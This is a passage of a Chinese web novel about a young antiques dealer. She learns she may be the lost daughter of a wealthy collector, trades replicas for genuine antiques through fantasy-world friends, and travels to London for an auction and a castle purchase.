假期最后一天，也是本周的最后一天，萧妧妧连着忙碌几天根本没时间想些乱七八糟的。 事到临头，萧妧妧发现自己心态出奇的稳。 和黎行聿约了上午见面，她纠结半天最终化了淡妆赴约。 碰面地点是她熟悉的老地方，月牙巷巷口的茶室。 萧妧妧隐约觉得，可能真的是她多想了。 孟甜甜推了她一把，催她出门：“别磨磨蹭蹭，去了不就知道什么事了，回来记得跟我说一声。” 萧妧妧抽抽嘴角，就知道她想吃瓜。 她深呼吸，一副云淡风轻的模样往茶室去。 黎行聿早来一会，已经泡上了茶，她刚坐下，一杯热茶摆在面前。 闲聊中，萧妧妧一直保持正襟危坐，偶尔端起茶杯抵在唇边抿一口。 余光偷瞄他好几眼，并没有看出哪里不同，好像就是一场普通的谈话。 萧妧妧越发看不懂了，迷茫眼神几次落在他脸上。 直到他刮沫时失手弄翻茶杯，萧妧妧倏然发觉，黎行聿泡茶动作稍显紧绷，远不如之前几次见过的随性流畅。 看似神色如常，其实他也在紧张。 萧妧妧多瞥一眼，满心狐疑。 又一杯茶下肚，萧妧妧忍不住问出口：“你说要聊聊，不会只是这些琐碎事情吧？” 黎行聿顿了顿，笑着点头承认：“介意听我讲一个故事吗？” 萧妧妧懵了一秒，耸耸肩，示意他开始。 黎行聿为她斟满茶，缓缓开口。 “记得拍卖会那天，你在宴会厅问我认不认识的那个女人吗？” 萧妧妧好奇下文，配合点头，“你说过，她是金玉轩的老板。” 黎行聿：“故事和她有关。” 萧妧妧又懵了，一头雾水。 黎行聿缓缓讲述：“萧阿姨全名萧雁如，曾祖萧灵山，曾是一位爱国收藏家，后来涉足古董生意，成立的金玉轩。” “金玉轩传到萧阿姨手里时，已经成了古董行业的头部，她接手后为适应当下经济环境，增加一项拍卖业务，每年年终一场，成绩十分亮眼。 同年她又创立了金玉艺术馆，馆内藏品不限品类共计300件，均为萧阿姨家族传承。” 萧妧妧哇了一声，这位京城金玉轩的萧老板家底可真丰厚。 黎行聿笑笑，继续道：“所以，做为萧家独女，当时年仅24岁的萧阿姨成了许多人眼中的目标。” 萧妧妧点头，势利眼哪个年代都有，何况有钱、独生女两个条件叠加在一起，和流油的肥肉没什么区别，想吃绝户的数不胜数。 萧妧妧像个捧哏的，忙问：“听起来不太妙，然后呢？” 黎行聿：“萧阿姨没有选择和门当户对的异性结婚，而是看上了刚进入金玉轩鉴定部的一个实习生……” 萧妧妧毫不意外，又是一个凤凰男的故事。 萧雁如选凤凰男结婚，倒不是天生爱扶贫，考虑到和自家条件相当的家庭情况肯定比自家复杂，手段也更多，她不一定能应付得来。 凤凰男不一样，个人足够优秀，但没背景没靠山，只要萧雁如不昏头，这辈子都可以拿捏住对方。 萧雁如确实没有昏头，也确实拿捏了凤凰男一家。 他们没有领结婚证，只对外宣布了婚讯，以及办了一场婚礼，到此为止。 萧家的古董、生意、房产，凤凰男毫无插手机会，婚后更是彻底与金玉轩的经营隔离，在家当起全职主夫。 至于凤凰男的家人，萧雁如只安排了几个不痛不痒没有决策权的岗位吊着。 总之，外人看来这一家子无疑是享福了，萧雁如无可指摘。 萧妧妧：“这不是挺好的吗？你继续说。” 既然黎行聿要说故事，说明这件事肯定没那么简单，她捧起脸专注地听。 “萧阿姨27岁那年怀孕了，生了个女孩，出生的那一刻，萧阿姨的父亲更改遗嘱确定孙女的继承权。” 萧妧妧松了一口气，听多了凤凰男占尽便宜还敲骨吸髓的故事，难得见到一个没占一点便宜的凤凰男，萧妧妧听得心里暖暖的。 凤凰男吃喝不愁，但没有财产的支配权，前半生靠老婆，后半生靠女儿。 没有什么离婚的说法，一旦离开萧家和净身出户没什么两样，什么都带不走。 “但是……” 果然，萧妧妧就知道要有个转折。 “萧阿姨的女儿一周岁的时候，意外走失了。” 萧妧妧“啊？”了一声，这转折未免过于生硬。 “是凤凰男干的？”她猜测。 黎行聿：“不知道。萧阿姨大受打击，精神和身体都因此受到不同程度的影响，除了休养和参与公司管理，其他所有时间和精力全部放在找孩子上。 她担心女儿被卖到大山里，每年花半年时间带着保镖走访拐卖儿童高危区。 全国80%的孤儿院她都去过，翻了个底朝天，又因为怀疑女儿被外国人收养，调查过所有年龄相符的女童。” 前半段她可以当成故事听，但是之后的故事，萧妧妧越听越不对劲。 黎行聿直直望过来，黝黑眼眸好像藏了好多话，萧妧妧冷不丁对上他的视线，心里咯噔一下，吃瓜的心情荡然无存。 萧妧妧有种不妙的预感。 【作者有话说】 先发后改[撒花] 感谢读者“虫子太多好可怕”,灌溉营养液 +1 224 第224章 ◎哥窑◎ “这个故事,和我有关系？” 萧妧妧吞了吞唾沫，大胆假设。 特意约她出来讲故事未免有点小题大做，如果故事主人公和她有关，这就说得通了。 萧妧妧笑容勉强,有种吃瓜吃到自己身上的荒诞感。 黎行聿不意外她的敏锐,毕竟他话里话外暗示得足够明显。 “萧阿姨的事情我知道的不多,在此之前只听说她有一个走失的女儿,寻找了二十多年。 更具体的情况，是最近从我爸妈那里得知。” 没有否认那就是默认了,故事里那个走失的小可怜，多半是她。 萧妧妧心情顿时复杂起来,好半晌，捧起茶杯一饮而尽。 “为什么跟我说这些？”她反问。 黎行聿揉了揉额头,一副两难模样。 “国外留学的那段时间，萧阿姨很关照我们兄妹,我由衷希望萧阿姨可以早点找到她的孩子团聚。” 萧妧妧挑眉：“可你没有直接告诉她。” 黎行聿嗯了一声,直白说道：“因为那个走失的孩子说,她并不需要。” 叶赛宁站在萧雁如的立场,自然是想办法帮她找女儿。 黎行聿选择先和萧妧妧坦白,嘴上是没明说，却在用行动向她证明“我们才是一伙的”，他尽量客观陈述自己所知道的内容。 萧妧妧能理解他的为难，上回莫名其妙的询问,根本就是有的放矢。 “我知道其中有误会，但那个走失的孩子不知道。”黎行聿说：“现在,决定权在你。” 萧妧妧没好气的将杯子推过去,黎行聿自觉斟茶。 茶水斟满,如牛饮水一口闷，茶杯重重拍在桌上，似乎这样能缓解她的烦躁。 “你什么时候知道的？能确定吗？” “一开始不确定，恰好萧阿姨有事情绊住了，无法来南市，是……” 黎行聿说到一半语气稍显迟疑，萧妧妧念头通达，接着补充：“是齐小文让你们确定了？” 黎行聿惊讶于她能猜到齐小文，随即想起她只接触过这一个和金玉轩有关的人，产生联想顺理成章。 他点头承认。 齐小文的反应太反常了，事出反常必有妖。 做为萧雁如为数不多的好朋友，叶赛宁从不掩饰自己对凤凰男的看不顺眼。 尤其在好朋友刚满周岁的孩子意外走失，叶赛宁坚定认为凤凰男有作案动机。 只可惜她没有证据，大家又被凤凰男老实表象欺骗，都说她想太多。 这么多年下来，叶赛宁虽然还对他抱有不满情绪，但看凤凰男还算老实，没听说闹出什么私生子的丑闻，渐渐放下怀疑。 直到最近，因为遇见疑似萧雁如走失的孩子，叶赛宁联系她回南市一趟。 不太巧，萧雁如那里也查到几个疑似目标，暂时无法抽身，最后变成她的小叔子齐小文出面。 叶赛宁那时没有确凿证据，又见萧雁如那里进展顺利，心里拿不定主意，所以没多说什么。 那天她带齐小文跑一趟不破斋，亲眼见到他如何敷衍后，心里有些不满。 任谁见过年轻的萧雁如，再见到萧妧妧，都会产生联想。偏偏齐小文一口否认，并且拒绝了她更进一步的血缘鉴定要求，还说她多管闲事。 叶赛宁是在这时重新对齐家起疑，后来从黎行聿的追问中得知齐小文对待萧妧妧态度反常，叶赛宁的怀疑瞬间放大，越发认定其中有猫腻。 齐小文的反应，不就也变相证明了萧妧妧的特殊？ 萧妧妧恍然，原来还有这么多自己不知道的事情在发生。 “也就是说，你们目前也只是怀疑，没有通过科学方法鉴定。” 黎行聿：“不，有证据。” 萧妧妧张了张唇，说不出话。 黎行聿调出手机里的照片，推到她面前。 这是一张全家福，萧妧妧两岁左右拍的，她那时是这个大家庭里最小的孩子，可以坐在爷爷奶奶中间，绝对的大C位。 背后站了两排人，大伯、三叔、小姑等等。 萧妧妧没瞧出哪里不对劲，问：“有什么问题？” 黎行聿解释：“叔叔阿姨之前忙着收拾东西搬家的时候，我爸妈刚好撞见。” 萧妧妧知道这事，乔迁宴前两天吧，爸妈就忙着搬东西去熙园住。 “然后呢？”她问。 然后，黎行聿指尖点在照片C位的萧妧妧身上。 顺着指尖指示位置，萧妧妧注意两岁多的自己脖子上挂着的平安锁。 千足金錾刻的缠枝纹绕出寓意吉祥的“卍”字符，锁头穿着两粒毛豆大小的白玉蟠桃。 平安锁锁体中央则是一块绿翡，雕出一个“妧”字，锁体背面环绕一圈蝙蝠纹，中间刻着《心经》全文，需用放大镜才能看清笔画。 “这是萧阿姨的父亲，也就是你的亲爷爷在你出生前准备的，上面刻了你的名字，妧。萧阿姨那里应该还有照片做为证明，或许你有印象？” 萧妧妧点点头，又摇摇头。 她不记得自己有这么一样东西，别说平安锁，这么老的照片她都没见过几次，上哪有印象。 但照片没错，平安锁就挂在她身上。 “有没有一种可能，我爸妈捡到了平安锁，刚好和我名字能对上……”她试着假设其他情况的出现。 黎行聿没反驳，点头道：“不排除。但……你不会觉得太巧合了吗？” 刚好捡到平安锁，刚好和萧雁如长得相似，刚好占了同一个妧字当名，又刚好姓萧…… 哦，最后一点是真的巧合，巧到没人敢想。 萧妧妧嘴硬：“凭我阅文无数的经验来看，就有这么巧。 不然什么冒名认亲的真假千金故事怎么来的？你看，连‘信物’都能对上。” “总之，亲子鉴定出来之前，一切都有可能。”她振振有词。 黎行聿认可她最后这一句，道：“那么，你想做亲子鉴定吗？” 萧妧妧愣住，泄气地垮下肩膀。 黎行聿见她蔫头耷脑，眉头紧皱，抬手拍拍她发顶。 “萧阿姨那里暂时还不了解情况，”黎行聿这句话说得心虚，叶赛宁已经在找机会和萧雁如沟通，知道是迟早的事情。 萧妧妧什么脾气他清楚，事后得知他在这件事里有隐瞒或者自作主张，难保不会生他气。 黎行聿承认，他“通风报信”的目的不止出于对她知情权的尊重，顺势避免以后的情感路途出现障碍。 他微妙停顿两秒，接着道：“你可以慢慢考虑。” 萧妧妧和养父母关系十分好，用叶赛宁的话来说，或许比和凤凰男那一家子亲戚生活更幸福。 萧大明和张芸夫妻俩在物质方面，条件比不上做古董生意的萧家，精神、情绪、情感方面绝对胜出一截。 他们视捡来的萧妧妧如己出，知道真相的爷爷奶奶等亲戚也当她是自家孩子，小辈该有的从来没缺过。 只有一个奇葩的三叔一家稍微折腾了点，但比起心怀叵测的齐家来说，好太多。 让萧妧妧抛下养父母回到萧雁如身边，叶赛宁没什么信心。 放在以前，萧雁如有血缘和财力的优势，慢慢接触总能把孩子拉回来。 然而萧妧妧阴差阳错踏进古董圈，生意做得有声有色，金钱方面的优势几乎抹平，只要她不愿意，萧雁如毫无办法。 何况，还有姓齐的那一家子隐患。 叶赛宁自己瞎琢磨半天，越琢磨越觉得难办，到现在没想好怎么和萧雁如说。 萧妧妧同样觉得难办，愁得抓耳挠腮，软绵绵扑倒桌上。 涉及情感伦理家庭，一时半会肯定愁不出结果，萧妧妧鸵鸟心态大爆发，决定先逃避。 剩下半壶茶她一口没给黎行聿留，咕嘟咕嘟喝完，丢下一句“回家慢慢想”，飞快溜走。 一路狂奔回小卖部，萧妧妧四肢瘫软，啪叽一下扑进躺椅里。 乱糟糟的思绪毛线团一样堵在脑子里，脑仁疼。 萧妧妧沉闷的嚎了一声，侧过脸深呼吸，刚张开嘴，就看到眼前三张大脸挨挨挤挤，眨巴着眼睛直勾勾盯她。 萧妧妧一激灵，呲溜一下爬起。 “你们想做什么？” 孟甜甜拉来一张椅子坐下，苏娇娇端来一盘瓜子，柳如烟捧着脸坐等吃瓜。 萧妧妧：…… 她倒回躺椅，晃得椅子嘎吱咯吱。 “社会上的事少打听。”萧妧妧瓮声瓮气说。 三人没有放弃的意思，啪嗒啪嗒磕着瓜子追问。 “霸总哥表白了？” “你们搞对象了？” “他怎么说的？你怎么要死不活的？” 萧妧妧叹气，“还不如表白呢。” 更烦了。 所烦恼的问题根本不是一个等级的。 萧妧妧想找人倾诉，但没想好怎么开口，她自己的思绪还一团乱呢。 三人见无瓜可吃，失落不已。 苏娇娇见她五官挤成一团，愁得眉头打结，好心安慰她：“别不高兴了，我换来一件南宋哥窑八方贯耳扁瓶，你看看值多少钱。” 说到钱，萧妧妧像被打了一针强心剂，立刻来了精神。 苏娇娇努努嘴，示意她去看古董铺的展示柜：“放那里了，以假换真换来的。” 萧妧妧瞬间舒展眉头，鲤鱼打挺一样弹跳落地，噔噔噔往店里跑，抱起那只有点丑的哥窑瓶子。 “钧窑和青花盘子换的，你觉得我这买卖做得怎么样，不亏吧？” 萧妧妧端详片刻，基本确定是哥窑，而哥窑真品的市场行情已然迈入亿元级。 佳博今年初的春拍，就有一件哥窑明代官仿，即便是仿品，也卖出了3000万的价格。 萧妧妧的眼睛几乎挪不开，何止不亏，简直赚死了。 系统给的估价和市场价差不多，都在3.6亿元左右。 哥窑全球完整器数量仅为两位数，其稀缺性决定了它的价值不会低，在收藏市场上的知名度和影响力更是与日俱增。 这是一件可以和汝窑并列第一的宝贝。 汝窑是她花钱买的，哥窑是她花小钱买来的假货换来的，所花费的数额远不及买汝窑的一半。 啊——意识到这一点，萧妧妧发出尖锐爆鸣。 【作者有话说】 感谢读者“虫子太多好可怕”,灌溉营养液 +1 225 第225章 ◎丧尸晶核◎ 苏娇娇捂住耳朵躲远,尖叫攻击停止后才挪回来。 “效果出乎意料的好，粉彩和元青花上午送去汇司鉴定过，可以送拍。 成化斗彩的碗我借口急需变现送去雪霁轩，也没被人看出它是仿品,我又借口开价太低带回来了。 至于哥窑,我通过雪霁轩掌柜从一个外国古董商手里换来的,手续齐全,补上我们之间的交易证明即可。” 成功换来哥窑，苏娇娇恍惚了半天。 太顺利了,顺利得不可思议，几件高仿到她手里总共不超过两天时间呢。 不愧是萧妧妧念叨的“大国制造”,骗过鉴定师和古董商轻而易举。 有过一次成功经验，苏娇娇攒在心底的心虚与忐忑烟消云散,撸起袖子准备大干一场。 她特意跑一趟小卖部送来哥窑，其实是带来了两个好消息。 一个是哥窑本身,一个是以假换真的法子确实行之有效。 苏娇娇对上她锃亮的狐狸眼,摸摸她后脑勺,放出另一个好消息。 “你这招以假换真的成功率几乎是百分百,拜托你多买点假货回来吧。 苏管家那里传来好消息,不少人想加价买那件粉彩瓶子呢。” 虽然没有确定具体价格，但意动的人可不少，苏管家一上午接到三通询问电话，甚至有人表示愿意加价购买,免得送拍后竞争失败。 萧妧妧又想尖叫了，艰难憋住。 心血来潮琢磨出来的主意不仅有用,还带来了意外的收获,萧妧妧理所当然的把重心放在贩卖“艺术品”上。 也理所当然的,萧妧妧有意忽略了某件让自己拿不定主意的事情。 好在黎行聿没有催促她，好像真的只是告诉她一些消息，贴心地跳过这件事不提。 萧妧妧松了一口气的同时，鸵鸟心态越发严重。 出于不可言说的心情，她这几天不管忙到多晚，上下班有多不方便，都老老实实回熙园陪爸妈。 夫妻俩知道闺女不愿意早起，大多时间选择在月牙巷过夜，他们没什么意见，只叮嘱忙生意的同时照顾好自己。 最近变了，接连几天没回家的闺女突然像变了个人，上下班打卡似的天天回家，一会要吃这个菜，一会要吃那个水果。 要不说远香近臭，夫妻俩没过两天就不想伺候了，催她回去把心思放在生意上。 萧妧妧嘴上答应好好的，还是一天不落的往家里跑。 跑得越勤快，本就难以决定的事情变得更加困难。 张芸和萧大明收养她时年纪不轻，40多岁左右，萧妧妧高中没毕业他们俩先后退休。 两人的退休金不低，按理说完全可以过上唱歌打牌遛鸟跳广场舞的生活，为了给她攒钱以及支援三叔一家，两人退休后的生活并没有轻松多少，甚至更加拼命的经营民宿、小卖部。 父母逐年衰弱，萧妧妧终于长到能扛事的年纪，回南市后的她在这个三口之家里话语权越来越重，渐渐成为家里的支柱，开始为父母接下来的养老做打算。 这时候，萧妧妧实在没办法抛下他们，去和亲生父母接触。 如果她是被人抛弃的，萧妧妧反而能轻松做出决定，偏偏正相反，她的走失是一场意外，亲生母亲为了她奔波数年。 萧妧妧不管选择谁，都有一种微妙的“背叛”心理在绑着她。 对她而言的两全其美的方法倒是有一个，肩负起两个家庭的责任，反正她现在不缺钱，资金方面不是问题。 但话说回来，这是她单方面的想法，养父母和亲生父母那里什么意思她尚不知道，能不能接受她也不知道，接受之后关于生活的方方面面又怎么安排，都是问题。 萧妧妧目前卡在第一关，这一关卡多久她自己也说不清。 孟甜甜最近几天发现，萧妧妧有点心事重重。 虽然她平时也挂着笑容，但鲜少感觉到快乐情绪。 为数不多的几次好心情，要么是苏娇娇带来新古董，要么是有大额进账。 这种好心情并不持久，因为萧妧妧的阈值提高了，高兴一会又变得沉默。 当然，沉默的时间不算多，她平时挺忙，忙着经营古董铺，忙着参加拍卖会。 说好要亲自下场积累拍卖经验的，最后变回委托代理，然后在精品古董和优质高仿送上门时间歇性活力满满。 直觉敏锐的柳如烟同样察觉到了萧妧妧的异常，以为过两天就好，结果持续了半个月。 这几天追综艺她都不敢大声笑。 爱丽丝偷偷扯孟甜甜衣角追问，孟甜甜摇摇头，无能为力。 萧妧妧不肯说，她也没办法强行逼问不是。 好在她的异常没有持续更久，十月中下旬，萧妧妧莫名振奋起来。 直到萧妧妧将小卖部托付给她照看，孟甜甜才知道要出国一趟。 “一星期？”孟甜甜差点跳起来。 上次她出去参加拍卖预展加起来总共五天左右，这次是实打实在国外待一周，算上两天往返的路程，最少要十天时间。 下次见面就是下个月了。 萧妧妧离开太久，孟甜甜难免心里发慌。 倒不是没信心管理好小卖部，毕竟日常杂事她有参与，没参与的看萧妧妧天天做也看明白了。何况萧妧妧走之前会安排好所有，不需要她费心思。 孟甜甜只是觉得，小卖部没有萧妧妧好像少了什么。 萧妧妧拍拍她肩膀，笑眯眯说：“我明白，这叫雏鸟情节。” 孟甜甜默了默，怀疑萧妧妧在占她便宜，但她没法反驳。 确实有点依赖心理。 短期离开还好，像这样半个月见不到人，心慌很正常。 萧妧妧纠正：“你太夸张了，总共十天，哪里就到半个月了。” 这次参加国外拍卖无法假手他人，她必须亲眼看一看唐伯虎的画。 包括大维德在内的拍卖会，一共要参加三场，等待她参观的预展集中在月底之前结束。 为了时间能合理安排，萧妧妧踩着点飞过去，一落地先看预展，预展结束就马不停蹄参加正式拍卖。 三场正式拍卖的时间是错开的，萧妧妧勉强可以偷懒，空闲下来可以逛一逛当地的古董市场、二手店等等。 孟甜甜听完她的行程安排，说不出让她早点回来的话。 难得出国一次连游玩的行程都没安排，全围着拍卖会转，太可怜了。 萧妧妧一点不认为自己可怜，她终于有机会买到自己心心念念好久的唐伯虎了，高兴疯了。 她暂停收拾行李，交待一下注意事项。 “古董铺和上次一样，不营业。小卖部我会改权限，只有你们可以进出，生意暂停。 景区管理那边我搞不定，所以面对普通客户的生意要继续做。 补货下架什么的，你提前跟我说，我来远程操作。 对了，《国宝》节目组过两天要还汉锦，那天我应该在飞机上，你帮我接受一下，随便放哪里都行，当天下午崔部长……你记得崔部长吧？上回和我签协议的那个，博物馆的崔民，他会带人来取汉锦，我答应借他汉锦参加展览了。 头冠10月最后一天结束展览，1号会打包送还，崔部长的意思是他会亲自送回来，具体哪天能送到手不好说，如果在那之前我没赶回来，你帮我接受一下。” 萧妧妧掰着指头，盘算有哪些事情需要安排，断断续续说了半天。 孟甜甜一一记下，表示一定做到。 “你离开这么久，有件事必须要和你说一下。”孟甜甜等她说完，开始交待自己的情况。 萧妧妧立即正襟端坐，摆出倾听姿态，孟甜甜便从口袋里掏出一捧水晶推来。 这一捧水晶约有40多块，完全不规则形态，大的和荔枝差不多，小的和感冒胶囊相差无几。 形状上面找不到共同点，且颜色各异，硬说相同点的话，大概是它们都晶莹剔透，流光溢彩。 即便不像钻石那样多面切割、打磨，灯光下也能闪烁出火彩。 “你挖到水晶矿啦？”萧妧妧惊喜低呼。 她一边低呼，一边拨弄水晶，听它们互相碰撞出哗啦啦的脆响。 孟甜甜摇头，神情严肃：“不是水晶，这些是我最近杀丧尸时收集到的。” 杀丧尸……？ 萧妧妧笑容凝固，手上动作僵住。 “你讲清楚点，到底是怎么收集的，有点吓人。” 没杀过丧尸，她还没看过末世文嘛？孟甜甜一副吞吞吐吐的样子，让萧妧妧产生了十分不妙的联想。 她多瞄一眼漂亮的“水晶”们，迟疑几秒，缓缓放开，手心在地毯上蹭了蹭。 孟甜甜看到她的小动作，含糊开口：“就是这样那样，然后从那里掉出来。” 她没敢说是从脑浆里挖出来的，担心萧妧妧吐出来。 孟甜甜练习杀丧尸大半年，颇有成效，加上每天锻炼，双臂力量大大增强，最近砍丧尸喜欢照着脑门捅。 捅得多了她就发现这招最快速有效，越来越喜欢捅脑门，直到最近这一个月让她发觉了不对劲。 劈开脑门的丧尸会有东西滚落。 孟甜甜一开始当成病变的脑仁，或者脑子里长结石，渐渐的，她发现每砍一只丧尸就有一个硬物掉落，迟钝生出好奇。 大约在一个月前，她终于没忍住捡起这些包裹着深褐色污物的东西，丢进桶里搅几圈，最后捞出晶莹剔透的“水晶”。 孟甜甜恍然意识到，这可能就是小说里才会有的“丧尸晶核”。 按照一般小说设定，晶核是丧尸尸变后孕育的聚合体，功能不好说有哪些。 孟甜甜稀里糊涂研究了许久，别的不敢说，无法造成正常人尸变，和无法促进正常人觉醒异能这两点她可以万分肯定。 至于晶核能不能强化、净化身体，她也没有明显感觉。 孟甜甜一没有异能，二没有被丧尸感染受伤，完好无损的她不可能为了测试晶核作用冒险。 戴着它们一个月，孟甜甜反复确认过，无论身体还是精神、情绪，都没有发生不好的变化，总算敢将它们带回小卖部。 孟甜甜说的不清不楚，萧妧妧却听明白了。 她默默往后挪了半米，翻出酒精给手心消毒，仅用眼睛观测晶核。 漂亮是真漂亮，想到它们从哪来，萧妧妧没有勇气碰它。 “丧尸晶核……真的有这玩意啊？” 【作者有话说】 能看出来吗，已经到收尾阶段了，应该会在90万字前后写完[撒花] 感谢读者“月樱清寒”,灌溉营养液 +73 226 第226章 ◎买下这座古堡◎ 孟甜甜耸肩,她对晶核的了解不比萧妧妧多多少，确认无害后拿出手其实是想听听意见。 萧妧妧想不到什么好意见，丧尸晶核对她而言未免过于奇幻。 她盯着瞧了一会，果断启动系统估价,先看看它值不值钱。 然而一向反应迅速的系统罕见的卡顿了,半分钟过去毫无变化。 萧妧妧等啊等,越等越心焦。 她时不时瞅一眼时间,已经过去了十五分钟，如此漫长的等待前所唯有,萧妧妧慌得不行，差点把晶核丢出去 孟甜甜看她脸色不对,当即怀疑晶核有问题。 她来自末世，可能早已被环境影响,所以感觉不到变化。而萧妧妧不是，很有可能被晶核影响。 孟甜甜脸都白了,抓起晶核要往结界跑。 萧妧妧没反应过来她要做什么,刚要开口,系统颤巍巍弹送出对话框。 【经专家系统多维度鉴定,聚合体无负面作用,所蕴含能量仅特定人群可吸收，暂无法估价】 萧妧妧长舒一口气，真吓人，她以为丧尸晶核把系统干烧了。 她拉住孟甜甜,道：“没事，晶核很安全。具体怎么用我也不清楚。” 孟甜甜见她终于恢复正常神色,跟着放下心。 两人齐齐望着晶核,不免发愁。 不明用处的东西,丢还是留？ 萧妧妧多瞄一眼对话框后半句话，“仅特定人群可吸收”，说明它的存在是有价值的。 至于这个特定人群指的是谁，暂时没人知道。 有价值就好，未来会有各种各样的客人光顾，说不准哪天派上用场了。 萧妧妧随手从货架上找来玻璃缸，当成装饰品丢进去。 “有总比没有的好，以后碰见了帮忙捡几个回来，没必要特意去收集。”她随口说。 孟甜甜应声，她也是这么考虑的。 现在不知道晶核的用处，以后难保不会发现它的用途，既然确定它无害，多收集一点没毛病。 挂在心里许久的问题解决，孟甜甜浑身轻松，帮萧妧妧一起收拾行李。 夜色如墨般泼洒，又晕染至浅淡，萧妧妧挣扎着爬起洗漱，往南市*国际机场FBO赶。 坐飞机不稀奇，坐私人飞机倒是头一回。 难怪她前面兴致勃勃和黎行聿商量坐哪个航班时，他神色古怪，别说经济舱，坐商务舱都委屈他了。 这次和他们同行的有艺术投资顾问、鉴定专家、翻译，刘秘书和一个有点面熟的助理也在，黎行聿相当于带了一个团队出门。 相比之下，单枪匹马的萧妧妧略显朴素，朴素的过分。 耗时十数小时的长途飞行无疑是疲惫的，哪怕私人飞机也无法彻底解决这一难题。 再回想自己如果是搭乘民航客机来伦敦，萧妧妧不自觉抖了一下。 脚踏实地没多久，面前先后停下几辆车，行礼一车，黎行聿和萧妧妧一车，团队其他人坐另一辆大车。 行程紧凑，行礼送回住所，刚下飞机的他们则直奔大维德的预展。 萧妧妧再次庆幸他们坐的是私人飞机，下飞机之前有舒适条件保障休息，除了时差与气候的不适应，总体而言还算轻松。 一行人抵达预展展厅附近，简单用过便餐立即投入到展览中。 萧妧妧一进门看到一片一片黑发黄肤，差点以为自己回国了。 “唐伯虎真迹现身，大家都是冲着它来的。”黎行聿解释。 萧妧妧十分理解，哪个玩古董的没有幻想过收藏顶级精品，有实力的藏家数不胜数，但真正顶级的古董其实并不轻易在市场里流通。 难得遇到唐伯虎真迹，一个个闻着味游来了。 萧妧妧就是其中之一。 她提前做过功课，哪些拍品值得下手心里有数，于是径直去找那幅《松崖别业图》。 在展厅兜兜转转半天，萧妧妧发现并不需要她刻意寻找，因为展柜附近围满了人。 乌压压的人头围了一圈，萧妧妧心凉了半截。 她有点没信心了，竞争激烈得超乎意料。 围着观赏的不算，调阅区还有不少人排队等着仔细看它。 想近距离看唐伯虎真迹也没那么容易，需要出示重点标的竞拍号牌，以及提前缴纳巨额保证金。 来之前有顾问为她打理妥当，萧妧妧无需费心，如果不是想亲眼看看大家向往的顶级收藏品，她隔着亚克力估价也足够了。 萧妧妧抱着莫名其妙的执念，硬生生排了一小时的队，亲手拿着放大镜贴近《松崖别业图》。 这段时间的学习终归有点效果，画纸、印泥、钤印，她已经能看出门道。 至于工笔、字迹，萧妧妧有点头大。 囫囵看完藏品本身，她按照完整流程，继续查阅流传记录。 它的所有者看得出来十分擅长经营古董，自从拍下它后隔十年参加一次国际展览，保证曝光的同时又不至于过度曝光影响它的神秘感。 萧妧妧有七分信心这是真品。 等系统估过价，跳出4.4亿元的估价，七分信心顺理成章变成了十分。 可惜卖方的底价在3亿元左右，贵得离谱，但谁让它是唐伯虎呢。 萧妧妧啧啧出声，如果成交价和估价一致，她一定会更高兴。 主要目标完成观察，其他拍品就没那么着急了，一个下午的时间足以。 萧妧妧一边记笔记，一边做规划。 她的资金不能说少，但她想买的东西多，而且都不便宜，怎么花在刀刃上便显得尤为重要。 傍晚时分，一行人累得萎靡，好在大维德预展基本逛透了。 结束之后，刘秘书带团队去酒店入住，萧妧妧跟着要走，才迈开腿被他拉了回来。 “我们住其他地方。” 黎行聿所谓的其他地方指的是切尔西一处住宅，私人住宅。 萧妧妧突然想起自己随口答应过他的邀请。 她摸摸鼻尖，别别扭扭地跟上，进门后发现偌大的住宅不止他们两人，萧妧妧明显松弛许多。 “路易莎休息了吗？” 负责打理住宅、疑似管家的西装男人鬼一样冒出来回应：“是的，路易莎女士没等到您回来，刚用完药回去休息。” 黎行聿没再多问，稍稍偏头，征询萧妧妧的意见：“明天陪我见见路易莎吧，她对你很好奇。” 萧妧妧应下了，住在别人地盘总会有见面的时候。 不过…… “她听说过我？听谁说的？为什么对我好奇？没说我坏话吧？” 萧妧妧追在他身后，叽叽喳喳像只闹腾的麻雀。 黎行聿被她问得哑口无言，只能默默加快步伐。 直到客房门口，他也没说出个所以然，但萧妧妧不肯放过他，眨巴眼睛盯着他瞧，很难说不是故意的。 喉结滚动一下，随即移开视线，神情不自然地推她进客房。 “早点休息，明天见。” 含糊不清的说完，没给她反应的机会，咚一声关上大门，彻底隔开两人。 这怎么不算落荒而逃呢。 萧妧妧望着黑胡桃木的门板发愣，几秒之后，不禁笑出声。 这人可真有意思。 萧妧妧抓紧时间洗漱，回复完未读消息，没空想那些有的没的，拉上被子盖过头顶，强迫入睡。 可惜身体没能快速适应时差，这一觉睡得七零八落，闹钟响起后反而有了睡意。 蔫头耷脑的下楼，萧妧妧没看见路易莎，只有黎行聿在吃早饭。 今天的行程依旧排满，一天之内横跨伦敦。 萧妧妧自己定的行程，怪不了别人，强打起精神参观。 这次参加拍卖，她的目标不止唐伯虎的《松崖别业图》，还有房产。 并非普通的住宅，而是伦敦附近的一座古堡庄园，闲置了一百多年，售价换算过来约值3.4亿元，贵得令人发指。 她的目标是买下这座古堡。 这是她在伦敦能找到的最符合要求的房产，是她和苏娇娇为下一步行动选定的藏宝地址。 大不了多换几件真货回来，运气好卖一两样就能回血，既能留住更多文物，又能得到一座城堡，这笔账怎么算怎么赚。 买古堡这事她打算偷偷进行，上午看完预展，萧妧妧借口逛古董店单独行动，和投资顾问汇合后一同前往白金汉郡。 城堡庄园闲置许久，看起来是那种会闹鬼的建筑，萧妧妧得知房主早已搬到其他城市入住，附近根本没人会来城堡瞎溜达，简直不能更满意了。 她甚至没有进去看一眼内部格局，了解过税务情况和避税方案，以及后续改做商业资产的可行性，确保不存在法律方面的风险，当场表示购买意愿。 没管投资顾问什么反应，萧妧妧绕着古堡庄园拍了一段视频，喜滋滋发给孟甜甜炫耀。 谁懂啊，吹过的牛实现了，却不能告诉任何人，萧妧妧怕自己憋出内伤。 从今天开始，她就是这座古堡庄园的所有者！ 投资顾问没见过这么爽快的，爽快到有点邪门，瞪着眼睛看她拍半天照，迟钝想起要走下一步流程。 她买城堡的决定做得干脆，但到了走程序这一步并没有想象中的快捷。 萧妧妧提供完税证明和资金来源，便耗尽了耐心，彻底当起甩手掌柜。 萧妧妧再次感叹，有钱真好，能省去90%的麻烦事，她只管做决定，自然有人愿意为了钱帮她解决麻烦。 回到切尔西中心街区，时间将将来到下午四点，这里刚结束一场阵雨，地面潮湿，夹杂细细雨丝的冷风吹得萧妧妧一哆嗦。 然而一想到自己即将拥有一座古堡，萧妧妧心头火热，连带着湿冷天气都有几分可爱，走路轻飘到恨不得蹦起来。 